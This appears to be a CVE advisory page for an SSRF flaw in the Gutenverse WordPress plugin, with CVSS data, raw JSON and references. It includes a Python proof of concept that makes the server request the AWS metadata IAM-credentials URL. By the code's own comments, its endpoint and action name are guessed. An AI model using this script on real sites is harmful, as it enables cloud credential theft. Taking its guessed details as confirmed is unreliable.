Security Vulnerability Report
中文
CVE-2026-2948 CVSS 6.4 MEDIUM

CVE-2026-2948

Published: 2026-05-05 04:16:09
Last Modified: 2026-05-05 19:08:20

Description

The Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 3.5.3 via the import_images() function. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem <= 3.5.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_ssrf(target_url, cookie, internal_url): """ PoC for CVE-2026-2948 Exploits SSRF in import_images function. """ # The endpoint might be admin-ajax.php or a specific REST API route # Assuming admin-ajax.php based on typical WordPress plugin structure endpoint = f"{target_url}/wp-admin/admin-ajax.php" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Payload data targeting the vulnerable function payload = { "action": "gutenverse_import_images", # Inferred action name "url": internal_url, # Malicious internal URL, e.g., http://127.0.0.1:80 "nonce": "some_valid_nonce_if_required" # May need a valid WP nonce } try: response = requests.post(endpoint, data=payload, headers=headers, cookies=cookie, timeout=10) if response.status_code == 200: print(f"[+] Request sent to internal URL: {internal_url}") print(f"[+] Response snippet: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://victim-wordpress-site.com" # Cookie for a user with Contributor role or higher auth_cookie = {"wordpress_logged_in_12345": "user_cookie_value"} # Targeting internal metadata service (AWS example) malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" exploit_ssrf(target, auth_cookie, malicious_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2948", "sourceIdentifier": "[email protected]", "published": "2026-05-05T04:16:09.120", "lastModified": "2026-05-05T19:08:20.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 3.5.3 via the import_images() function. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3507804/gutenverse", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ac909a4b-d949-42eb-871a-963bc6242c12?source=cve", "source": "[email protected]"}]}}